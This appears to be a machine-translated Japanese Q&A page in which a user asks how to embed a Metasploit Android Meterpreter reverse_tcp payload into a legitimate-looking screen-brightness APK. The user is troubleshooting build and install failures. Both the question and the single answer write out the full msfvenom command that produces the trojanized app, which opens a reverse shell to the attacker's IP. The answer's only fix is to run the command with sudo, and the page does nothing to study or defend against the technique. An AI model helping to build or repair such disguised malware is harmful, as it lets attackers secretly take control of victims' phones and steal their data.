web-dev-qa-db-ja.com

Msfvenom -xフラグが機能しない

ペイロードをapkファイルに埋め込みたいのですが。 msfvenom -x ScreenBrightness.apk -p Android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apkを使ってみた

そしてこれは出力でした:

Using APK template: ScreenBrightness.apk [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload [-] No Arch selected, selecting Arch: dalvik from the payload Error: Malformed version number string 2.4.0-dirty /usr/bin/apktool: line 27: mkdir: command not found /usr/bin/apktool: line 28: ln: command not found

次に、ディレクトリを確認したところ、output.apkという名前のファイルがあることがわかりました。

Androidにoutput.apkをインストールしようとしましたが、App not Installedと表示されていました。私は何度も試しましたが、これが結果でした。

それで、コマンドadb install output.apkでadbを使用してoutput.apkをインストールしようとしました

そして、これはまだ出力でした:

Failure [INSTALL_FAILED_INVALID_APK]

Linuxを使用しています:Parrot GNU/Linux私のAndroid:Android 6.0.1(Marshmello)

ペイロードをapkファイルに正しく埋め込むにはどうすればよいですか?

前もって感謝します。

1
DVSDSV

次のようにSudoで試してください:

Sudo msfvenom -x ScreenBrightness.apk -p Android/meterpreter/reverse_tcp LHOST=<my_ip> LPORT=4444 R > output.apk
0
VEGA